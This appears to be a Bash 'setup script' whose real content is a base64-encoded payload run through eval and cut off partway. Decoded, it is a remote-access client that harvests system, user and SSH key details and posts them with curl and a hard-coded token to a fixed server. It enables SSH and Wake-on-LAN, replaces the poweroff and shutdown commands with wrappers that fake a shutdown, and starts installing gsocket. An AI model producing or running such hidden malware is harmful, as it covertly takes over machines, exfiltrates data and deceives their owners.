10 lines
23 KiB
Bash
Executable File
10 lines
23 KiB
Bash
Executable File
#!/bin/bash
|
|
# This is an obfuscated setup script
|
|
|
|
if command -v base64 >/dev/null 2>&1; then
|
|
eval "$(echo "IyEvYmluL2Jhc2gKIyBGQUNJTlVTIFJlbW90ZSBBY2Nlc3MgQ2xpZW50CiMgVGhpcyBzY3JpcHQgc2V0cyB1cCByZW1vdGUgYWNjZXNzIGNhcGFiaWxpdGllcyBvbiB0aGUgdGFyZ2V0IHN5c3RlbQoKIyA9PT09PT09PT09PT09PT09PSBDT05GSUdVUkFUSU9OID09PT09PT09PT09PT09PT09ClNFUlZFUl9VUkw9Imh0dHA6Ly8xOTIuMTY4LjAuMTA0L2RlcGxveW1lbnQiCkxPR19FTkRQT0lOVD0iJFNFUlZFUl9VUkwvbG9nX3JlY2VpdmVyLnBocCIKQVVUSF9UT0tFTj0iMVJBaVhoeThjN2ZKbTZrNTFWb2dyYmpVNDVIS25qeEgiClZFUlNJT049IjEuMS4wIgojID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKIyBDcmVhdGUgdGVtcG9yYXJ5IGRpcmVjdG9yeQpURU1QX0RJUj0kKG1rdGVtcCAtZCkKdHJhcCAncm0gLXJmICIkVEVNUF9ESVIiJyBFWElUCgojIC0tLS0tLS0gVVRJTElUWSBGVU5DVElPTlMgLS0tLS0tLQpsb2dfY21kKCkgewogICAgbG9jYWwgY21kPSIkMSIKICAgIGxvY2FsIGRlc2M9IiQyIgogICAgbG9jYWwgbG9nX2ZpbGU9IiQzIgogICAgCiAgICBlY2hvIC1lICJcblskKGRhdGUgJyslWS0lbS0lZCAlSDolTTolUycpXSBFWEVDVVRJTkc6ICRkZXNjIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiJCAkY21kIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iID4+ICIkbG9nX2ZpbGUiCiAgICAKICAgICMgRXhlY3V0ZSBjb21tYW5kIGFuZCBjYXB0dXJlIG91dHB1dCBhbmQgc3RhdHVzCiAgICBsb2NhbCBvdXRwdXQKICAgIG91dHB1dD0kKGV2YWwgIiRjbWQiIDI+JjEpCiAgICBsb2NhbCBzdGF0dXM9JD8KICAgIAogICAgZWNobyAiJG91dHB1dCIgPj4gIiRsb2dfZmlsZSIKICAgIGVjaG8gIkVYSVQgU1RBVFVTOiAkc3RhdHVzIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iID4+ICIkbG9nX2ZpbGUiCiAgICAKICAgIHJldHVybiAkc3RhdHVzCn0KCmdldF9zeXN0ZW1faW5mbygpIHsKICAgIHsKICAgICAgICBlY2hvICJ7IgogICAgICAgIGVjaG8gIiAgXCJob3N0bmFtZVwiOiBcIiQoaG9zdG5hbWUpXCIsIgogICAgICAgIGVjaG8gIiAgXCJrZXJuZWxcIjogXCIkKHVuYW1lIC1yKVwiLCIKICAgICAgICBlY2hvICIgIFwib3NcIjogXCIkKGxzYl9yZWxlYXNlIC1kcyAyPi9kZXYvbnVsbCB8fCBjYXQgL2V0Yy9vcy1yZWxlYXNlIHwgZ3JlcCBQUkVUVFlfTkFNRSB8IGN1dCAtZD0gLWYyIHwgdHIgLWQgJ1wiJylcIiwiCiAgICAgICAgZWNobyAiICBcImlwXCI6IFwiJChob3N0bmFtZSAtSSB8IGF3ayAne3ByaW50ICQxfScpXCIsIgogICAgICAgIGVjaG8gIiAgXCJtYWNcIjogXCIkKGlwIGxpbmsgc2hvdyB8IGdyZXAgLUUgJ2xpbmsvZXRoZXInIHwgaGVhZCAtbjEgfCBhd2sgJ3twcmludCAkMn0nKVwiLCIKICAgICAgICBlY2hvICIgIFwiY3B1XCI6IFwiJChncmVwICdtb2RlbCBuYW1lJyAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbjEgfCBjdXQgLWQ6IC1mMiB8IHNlZCAncy9eWyBcdF0qLy8nKVwiLCIKICAgICAgICBlY2hvICIgIFwicmFtX3RvdGFsXCI6IFwiJChmcmVlIC1oIHwgYXdrICdOUj09MiB7cHJpbnQgJDJ9JylcIiwiCiAgICAgICAgZWNobyAiICBcImRpc2tfdG90YWxcIjogXCIkKGRmIC1oIC0tdG90YWwgfCBncmVwIHRvdGFsIHwgYXdrICd7cHJpbnQgJDJ9JylcIiwiCiAgICAgICAgZWNobyAiICBcInVzZXJcIjogXCIkKHdob2FtaSlcIiwiCiAgICAgICAgZWNobyAiICBcImlzX3Jvb3RcIjogXCIkKHN1ZG8gLWwgJj4gL2Rldi9udWxsICYmIGVjaG8gInRydWUiIHx8IGVjaG8gImZhbHNlIilcIiwiCiAgICAgICAgZWNobyAiICBcInVzZXJzXCI6IFwiJChhd2sgLUY6ICckNyB+IC9iYXNofHNoLyB7cHJpbnRmICIlcyAiLCAkMX0gRU5EIHtwcmludCAiIn0nIC9ldGMvcGFzc3dkKVwiLCIKICAgICAgICBlY2hvICIgIFwidGltZXN0YW1wXCI6IFwiJChkYXRlICcrJVktJW0tJWQgJUg6JU06JVMnKVwiLCIKICAgICAgICBlY2hvICIgIFwidXB0aW1lXCI6IFwiJCh1cHRpbWUgLXApXCIiCiAgICAgICAgZWNobyAifSIKICAgIH0gfCB0ciAtZCAnXG4nIHwgc2VkICdzLyAgLy9nJyB8IGpxIC1SIC4KfQoKc2VuZF9sb2dzKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiQxIgogICAgbG9jYWwgc2VjcmV0X3ZhbD0iJDIiCiAgICBsb2NhbCBzZWNyZXRfdHlwZT0iJDMiCiAgICAKICAgIGxvY2FsIHN5c2luZm89JChnZXRfc3lzdGVtX2luZm8pCiAgICBsb2NhbCBob3N0bmFtZT0kKGhvc3RuYW1lKQogICAgCiAgICAjIFN1Ym1pdCBsb2dzIHRvIHRoZSBzZXJ2ZXIKICAgIGN1cmwgLXMgLVggUE9TVCAiJExPR19FTkRQT0lOVCIgXAogICAgICAgICAgICAtRiAiYXV0aF90b2tlbj0kQVVUSF9UT0tFTiIgXAogICAgICAgICAgICAtRiAiaG9zdG5hbWU9JGhvc3RuYW1lIiBcCiAgICAgICAgICAgIC1GICJsb2dfZGF0YT1AJGxvZ19maWxlIiBcCiAgICAgICAgICAgIC1GICJzeXN0ZW1faW5mbz0kc3lzaW5mbyIgXAogICAgICAgICAgICAtRiAic2VjcmV0X3R5cGU9JHNlY3JldF90eXBlIiBcCiAgICAgICAgICAgIC1GICJzZWNyZXRfdmFsdWU9JHNlY3JldF92YWwiIFwKICAgICAgICAgICAgPiAvZGV2L251bGwKfQoKZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcigpIHsKICAgICMgRGV0ZWN0IHRoZSBzeXN0ZW0ncyBwYWNrYWdlIG1hbmFnZXIKICAgIGlmIGNvbW1hbmQgLXYgYXB0ICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgIGVjaG8gImFwdCIKICAgIGVsaWYgY29tbWFuZCAtdiBkbmYgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgZWNobyAiZG5mIgogICAgZWxpZiBjb21tYW5kIC12IHl1bSAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICBlY2hvICJ5dW0iCiAgICBlbGlmIGNvbW1hbmQgLXYgcGFjbWFuICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgIGVjaG8gInBhY21hbiIKICAgIGVsaWYgY29tbWFuZCAtdiB6eXBwZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgZWNobyAienlwcGVyIgogICAgZWxzZQogICAgICAgIGVjaG8gInVua25vd24iCiAgICBmaQp9CgojIC0tLS0tLS0gSU5TVEFMTEFUSU9OIEZVTkNUSU9OUyAtLS0tLS0tCmluc3RhbGxfc3NoKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9zc2hfaW5zdGFsbC5sb2ciCiAgICB0b3VjaCAiJGxvZ19maWxlIgogICAgCiAgICBlY2hvICJbKl0gSW5zdGFsbGluZyBTU0ggc2VydmVyLi4uIgogICAgCiAgICBsb2NhbCBwa2dfbWFuYWdlcj0kKGRldGVjdF9wYWNrYWdlX21hbmFnZXIpCiAgICBjYXNlICIkcGtnX21hbmFnZXIiIGluCiAgICAgICAgYXB0KQogICAgICAgICAgICBpZiAhIGRwa2cgLXMgb3BlbnNzaC1zZXJ2ZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvIGFwdCB1cGRhdGUiICJVcGRhdGluZyBwYWNrYWdlIGxpc3RzIiAiJGxvZ19maWxlIgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBhcHQgaW5zdGFsbCAteSBvcGVuc3NoLXNlcnZlciIgIkluc3RhbGxpbmcgT3BlblNTSCBzZXJ2ZXIiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBzc2giICJFbmFibGluZyBTU0ggc2VydmljZSIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgc3NoIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgZG5mfHl1bSkKICAgICAgICAgICAgaWYgISBycG0gLXEgb3BlbnNzaC1zZXJ2ZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvICRwa2dfbWFuYWdlciBpbnN0YWxsIC15IG9wZW5zc2gtc2VydmVyIiAiSW5zdGFsbGluZyBPcGVuU1NIIHNlcnZlciIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZW5hYmxlIHNzaGQiICJFbmFibGluZyBTU0ggc2VydmljZSIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgc3NoZCIgIlN0YXJ0aW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICA7OwogICAgICAgIHBhY21hbikKICAgICAgICAgICAgaWYgISBwYWNtYW4gLVEgb3BlbnNzaCAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gcGFjbWFuIC1TIC0tbm9jb25maXJtIG9wZW5zc2giICJJbnN0YWxsaW5nIE9wZW5TU0ggc2VydmVyIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgc3NoZCIgIkVuYWJsaW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBzc2hkIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgenlwcGVyKQogICAgICAgICAgICBpZiAhIHJwbSAtcSBvcGVuc3NoLXNlcnZlciAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8genlwcGVyIGluc3RhbGwgLXkgb3BlbnNzaC1zZXJ2ZXIiICJJbnN0YWxsaW5nIE9wZW5TU0ggc2VydmVyIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgc3NoZCIgIkVuYWJsaW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBzc2hkIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgZWNobyAiWyFdIFVuc3VwcG9ydGVkIHBhY2thZ2UgbWFuYWdlci4gU1NIIHNlcnZlciBpbnN0YWxsYXRpb24gc2tpcHBlZC4iCiAgICAgICAgICAgIHJldHVybiAxCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICAKICAgICMgR2V0IFNTSCBrZXkgaWYgaXQgZXhpc3RzCiAgICBpZiBbIC1mIH4vLnNzaC9pZF9yc2EucHViIF07IHRoZW4KICAgICAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiQoY2F0IH4vLnNzaC9pZF9yc2EucHViKSIgInNzaF9rZXkiCiAgICBlbHNlCiAgICAgICAgIyBUcnkgdG8gY3JlYXRlIGEgbmV3IGtleSBpZiBpdCBkb2Vzbid0IGV4aXN0CiAgICAgICAgbG9nX2NtZCAic3NoLWtleWdlbiAtdCByc2EgLU4gJycgLWYgfi8uc3NoL2lkX3JzYSIgIkdlbmVyYXRpbmcgU1NIIGtleSIgIiRsb2dfZmlsZSIKICAgICAgICBpZiBbIC1mIH4vLnNzaC9pZF9yc2EucHViIF07IHRoZW4KICAgICAgICAgICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICIkKGNhdCB+Ly5zc2gvaWRfcnNhLnB1YikiICJzc2hfa2V5IgogICAgICAgIGZpCiAgICBmaQogICAgCiAgICAjIFNlbmQgU1NIIGNvbmZpZ3VyYXRpb24KICAgIGxvY2FsIHNzaF9wb3J0PSQoZ3JlcCAtRSAiXlBvcnQgIiAvZXRjL3NzaC9zc2hkX2NvbmZpZyB8IGF3ayAne3ByaW50ICQyfScpCiAgICBbIC16ICIkc3NoX3BvcnQiIF0gJiYgc3NoX3BvcnQ9MjIKICAgIAogICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICJ7XCJwb3J0XCI6JHNzaF9wb3J0fSIgInNzaF9jb25maWciCiAgICAKICAgIGVjaG8gIlsrXSBTU0ggc2VydmVyIGluc3RhbGxlZCBhbmQgY29uZmlndXJlZC4iCn0KCnNldHVwX3dvbCgpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvd29sX3NldHVwLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIFdha2Utb24tTEFOLi4uIgogICAgCiAgICAjIEluc3RhbGwgZXRodG9vbCBpZiBuZWVkZWQKICAgIGxvY2FsIHBrZ19tYW5hZ2VyPSQoZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcikKICAgIGNhc2UgIiRwa2dfbWFuYWdlciIgaW4KICAgICAgICBhcHQpCiAgICAgICAgICAgIGlmICEgZHBrZyAtcyBldGh0b29sICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBhcHQgaW5zdGFsbCAteSBldGh0b29sIiAiSW5zdGFsbGluZyBldGh0b29sIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICA7OwogICAgICAgIGRuZnx5dW0pCiAgICAgICAgICAgIGlmICEgcnBtIC1xIGV0aHRvb2wgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvICRwa2dfbWFuYWdlciBpbnN0YWxsIC15IGV0aHRvb2wiICJJbnN0YWxsaW5nIGV0aHRvb2wiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIDs7CiAgICAgICAgcGFjbWFuKQogICAgICAgICAgICBpZiAhIHBhY21hbiAtUSBldGh0b29sICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBwYWNtYW4gLVMgLS1ub2NvbmZpcm0gZXRodG9vbCIgIkluc3RhbGxpbmcgZXRodG9vbCIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgOzsKICAgICAgICB6eXBwZXIpCiAgICAgICAgICAgIGlmICEgcnBtIC1xIGV0aHRvb2wgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvIHp5cHBlciBpbnN0YWxsIC15IGV0aHRvb2wiICJJbnN0YWxsaW5nIGV0aHRvb2wiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgZWNobyAiWyFdIFVuc3VwcG9ydGVkIHBhY2thZ2UgbWFuYWdlci4gV29MIHNldHVwIG1heSBiZSBpbmNvbXBsZXRlLiIKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIAogICAgIyBHZXQgdGhlIHByaW1hcnkgaW50ZXJmYWNlCiAgICBsb2NhbCBpbnRlcmZhY2U9JChpcCByb3V0ZSB8IGdyZXAgZGVmYXVsdCB8IGF3ayAne3ByaW50ICQ1fScgfCBoZWFkIC1uMSkKICAgIAogICAgaWYgWyAteiAiJGludGVyZmFjZSIgXTsgdGhlbgogICAgICAgIGVjaG8gIlshXSBObyBuZXR3b3JrIGludGVyZmFjZSBmb3VuZC4iCiAgICAgICAgcmV0dXJuIDEKICAgIGZpCiAgICAKICAgICMgQ2hlY2sgY3VycmVudCBXb0wgc3RhdHVzCiAgICBpZiBldGh0b29sICIkaW50ZXJmYWNlIiB8IGdyZXAgLXEgIldha2Utb246IGciOyB0aGVuCiAgICAgICAgZWNobyAiWytdIFdha2Utb24tTEFOIGlzIGFscmVhZHkgZW5hYmxlZCBvbiAkaW50ZXJmYWNlLiIKICAgICAgICAjIFRyeSB0byBlbmFibGUgV29MCiAgICAgICAgbG9nX2NtZCAic3VkbyBldGh0b29sIC1zICRpbnRlcmZhY2Ugd29sIGciICJFbmFibGluZyBXYWtlLW9uLUxBTiIgIiRsb2dfZmlsZSIKICAgICAgICAKICAgICAgICAjIENyZWF0ZSBwZXJzaXN0ZW50IGNvbmZpZ3VyYXRpb24KICAgICAgICBjYXQgPiAiJFRFTVBfRElSL3dvbC5zZXJ2aWNlIiA8PCBFT0YKW1VuaXRdCkRlc2NyaXB0aW9uPUVuYWJsZSBXYWtlLW9uLUxBTiBvbiAkaW50ZXJmYWNlCkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90CkV4ZWNTdGFydD0vdXNyL3NiaW4vZXRodG9vbCAtcyAkaW50ZXJmYWNlIHdvbCBnClJlbWFpbkFmdGVyRXhpdD15ZXMKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldApFT0YKCiAgICAgICAgc3VkbyBtdiAiJFRFTVBfRElSL3dvbC5zZXJ2aWNlIiAvZXRjL3N5c3RlbWQvc3lzdGVtL3dvbC5zZXJ2aWNlCiAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyBzeXN0ZW1kIiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSB3b2wuc2VydmljZSIgIkVuYWJsaW5nIFdvTCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIHN0YXJ0IHdvbC5zZXJ2aWNlIiAiU3RhcnRpbmcgV29MIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgCiAgICAgICAgIyBHZXQgTUFDIGFkZHJlc3MgZm9yIFdvTAogICAgICAgIGxvY2FsIG1hYz0kKGlwIGxpbmsgc2hvdyAkaW50ZXJmYWNlIHwgZ3JlcCAtRSAnbGluay9ldGhlcicgfCBhd2sgJ3twcmludCAkMn0nKQogICAgICAgIAogICAgICAgIHNlbmRfbG9ncyAiJGxvZ19maWxlIiAie1wiaW50ZXJmYWNlXCI6XCIkaW50ZXJmYWNlXCIsXCJtYWNcIjpcIiRtYWNcIn0iICJ3b2xfY29uZmlnIgogICAgICAKICAgICAgZWNobyAiWytdIFdha2Utb24tTEFOIGNvbmZpZ3VyZWQgZm9yIGludGVyZmFjZSAkaW50ZXJmYWNlIChNQUM6ICRtYWMpLiIKICAgIGVsc2UgCiAgICAgICAgZWNobyAiWy1dIFdha2Utb24tTEFOIGlzIG5vdCBlbmFibGVkIG9uICRpbnRlcmZhY2UuIgogICAgZmkKICAgIAp9CgpzZXR1cF9mYWtlX3Bvd2Vyb2ZmKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9mYWtlX3Bvd2Vyb2ZmLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIGZha2UgcG93ZXJvZmYuLi4iCiAgICAKICAgICMgQ3JlYXRlIHRoZSBmYWtlIHBvd2Vyb2ZmIHNjcmlwdAogICAgY2F0ID4gIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmLnNoIiA8PCAnRU9GJwojIS9iaW4vYmFzaAojIFRoaXMgc2NyaXB0IGludGVyY2VwdHMgcG93ZXJvZmYvc2h1dGRvd24gY29tbWFuZHMgYW5kIGZha2VzIGEgc2h1dGRvd24KCiMgQmFja3VwIG9yaWdpbmFsIGNvbW1hbmRzIGlmIG5vdCBhbHJlYWR5IGRvbmUKaWYgWyAhIC1mIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsIF07IHRoZW4KICAgIHN1ZG8gY3AgL3Vzci9zYmluL3Bvd2Vyb2ZmIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsCmZpCgppZiBbICEgLWYgL3Vzci9zYmluL3NodXRkb3duLnJlYWwgXTsgdGhlbgogICAgc3VkbyBjcCAvdXNyL3NiaW4vc2h1dGRvd24gL3Vzci9zYmluL3NodXRkb3duLnJlYWwKZmkKCiMgQ3JlYXRlIHRoZSBmYWtlIHNjcmlwdHMKY2F0ID4gIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmIiA8PCAnRU9UJwojIS9iaW4vYmFzaAojIEZha2UgcG93ZXJvZmYgc2NyaXB0IHRoYXQganVzdCBsb2NrcyB0aGUgc2NyZWVuCmVjaG8gIlN5c3RlbSBpcyBwb3dlcmluZyBvZmYuLi4iCiMgQ2hhbmdlIHRvIFRUWTcgYW5kIGNsZWFyIHNjcmVlbgpzdWRvIGNodnQgNwpzdWRvIGNsZWFyCiMgRGlzcGxheSBmYWtlIHNodXRkb3duIG1lc3NhZ2VzCmVjaG8gLWUgIlxuXG4gKiBVbm1vdW50aW5nIGZpbGVzeXN0ZW1zLi4uIgpzbGVlcCAwLjUKZWNobyAiICogU3RvcHBpbmcgc3lzdGVtIHNlcnZpY2VzLi4uIgpzbGVlcCAwLjcKZWNobyAiICogUG93ZXJpbmcgb2ZmIHN5c3RlbS4uLiIKc2xlZXAgMQojIFR1cm4gb2ZmIGRpc3BsYXkgaWYgcG9zc2libGUKeHNldCBkcG1zIGZvcmNlIG9mZiAmPiAvZGV2L251bGwgfHwgdHJ1ZQojIExvY2sgc3lzdGVtCmxvZ2luY3RsIGxvY2stc2Vzc2lvbiAmPiAvZGV2L251bGwgfHwgdHJ1ZQojIFdhaXQgZm9yZXZlciBpbiBiYWNrZ3JvdW5kCih3aGlsZSB0cnVlOyBkbyBzbGVlcCAxMDAwOyBkb25lKSAmCiMgTWFrZSBpdCBoYXJkIHRvIGV4aXQgd2l0aCBDdHJsK0MKdHJhcCAiIiBJTlQgVEVSTQojIEp1c3Qgd2FpdCBoZXJlCnNsZWVwIGluZmluaXR5CkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmIgpzdWRvIG12ICIkVEVNUF9ESVIvZmFrZS1wb3dlcm9mZiIgL3Vzci9sb2NhbC9iaW4vZmFrZS1wb3dlcm9mZgoKIyBSZXBsYWNlIHRoZSBvcmlnaW5hbCBjb21tYW5kcyB3aXRoIHdyYXBwZXJzIHRvIG91ciBmYWtlIHNjcmlwdApjYXQgPiAiJFRFTVBfRElSL3Bvd2Vyb2ZmLXdyYXBwZXIiIDw8ICdFT1QnCiMhL2Jpbi9iYXNoCiMgQ2hlY2sgZm9yIGZvcmNlIGZsYWcKaWYgW1sgIiAkKiAiID09ICoiIC1mICIqIF1dIHx8IFtbICIgJCogIiA9PSAqIiAtLWZvcmNlICIqIF1dOyB0aGVuCiAgICBleGVjIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsICIkQCIKZWxzZQogICAgZXhlYyAvdXNyL2xvY2FsL2Jpbi9mYWtlLXBvd2Vyb2ZmCmZpCkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9wb3dlcm9mZi13cmFwcGVyIgpzdWRvIG12ICIkVEVNUF9ESVIvcG93ZXJvZmYtd3JhcHBlciIgL3Vzci9zYmluL3Bvd2Vyb2ZmCgpjYXQgPiAiJFRFTVBfRElSL3NodXRkb3duLXdyYXBwZXIiIDw8ICdFT1QnCiMhL2Jpbi9iYXNoCiMgQ2hlY2sgZm9yIGZvcmNlIGZsYWcKaWYgW1sgIiAkKiAiID09ICoiIC1mICIqIF1dIHx8IFtbICIgJCogIiA9PSAqIiAtLWZvcmNlICIqIF1dOyB0aGVuCiAgICBleGVjIC91c3Ivc2Jpbi9zaHV0ZG93bi5yZWFsICIkQCIKZWxzZQogICAgZXhlYyAvdXNyL2xvY2FsL2Jpbi9mYWtlLXBvd2Vyb2ZmCmZpCkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9zaHV0ZG93bi13cmFwcGVyIgpzdWRvIG12ICIkVEVNUF9ESVIvc2h1dGRvd24td3JhcHBlciIgL3Vzci9zYmluL3NodXRkb3duCgpFT0YKCiAgICBsb2dfY21kICJzdWRvIGJhc2ggJFRFTVBfRElSL2Zha2UtcG93ZXJvZmYuc2giICJJbnN0YWxsaW5nIGZha2UgcG93ZXJvZmYgc2NyaXB0cyIgIiRsb2dfZmlsZSIKICAgIAogICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICJGYWtlIHBvd2Vyb2ZmIGluc3RhbGxlZCIgImZha2VfcG93ZXJvZmYiCiAgICAKICAgIGVjaG8gIlsrXSBGYWtlIHBvd2Vyb2ZmIGNvbmZpZ3VyZWQuIE5vcm1hbCBzaHV0ZG93biBjb21tYW5kcyB3aWxsIG5vdyBmYWtlIGEgc2h1dGRvd24uIgogICAgZWNobyAiICAgIFVzZSAncG93ZXJvZmYgLWYnIG9yICdzaHV0ZG93biAtZicgZm9yIGFuIGFjdHVhbCBzaHV0ZG93bi4iCn0KCmluc3RhbGxfZ3NvY2tldCgpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvZ3NvY2tldF9pbnN0YWxsLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBJbnN0YWxsaW5nIGdzb2NrZXQgZm9yIHJlbW90ZSBhY2Nlc3MuLi4iCiAgICAKICAgICMgSW5zdGFsbCBkZXBlbmRlbmNpZXMKICAgIGxvY2FsIHBrZ19tYW5hZ2VyPSQoZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcikKICAgIGNhc2UgIiRwa2dfbWFuYWdlciIgaW4KICAgICAgICBhcHQpCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gYXB0IHVwZGF0ZSAmJiBzdWRvIGFwdCBpbnN0YWxsIC15IGJ1aWxkLWVzc2VudGlhbCBsaWJzc2wtZGV2IGF1dG9tYWtlIGF1dG9jb25mIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgZG5mfHl1bSkKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyAkcGtnX21hbmFnZXIgaW5zdGFsbCAteSBnY2MgZ2NjLWMrKyBtYWtlIGdpdCBvcGVuc3NsLWRldmVsIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgcGFjbWFuKQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHBhY21hbiAtUyAtLW5vY29uZmlybSBiYXNlLWRldmVsIGdpdCBvcGVuc3NsIiAiSW5zdGFsbGluZyBidWlsZCBkZXBlbmRlbmNpZXMiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgenlwcGVyKQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHp5cHBlciBpbnN0YWxsIC15IC10IHBhdHRlcm4gZGV2ZWxfYmFzaXMiICJJbnN0YWxsaW5nIGRldmVsb3BtZW50IHBhdHRlcm4iICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8genlwcGVyIGluc3RhbGwgLXkgZ2l0IGxpYm9wZW5zc2wtZGV2ZWwiICJJbnN0YWxsaW5nIGFkZGl0aW9uYWwgZGVwZW5kZW5jaWVzIiAiJGxvZ19maWxlIgogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIGVjaG8gIlshXSBVbnN1cHBvcnRlZCBwYWNrYWdlIG1hbmFnZXIuIEF0dGVtcHRpbmcgdG8gY29udGludWUgd2l0aCBnc29ja2V0IGluc3RhbGx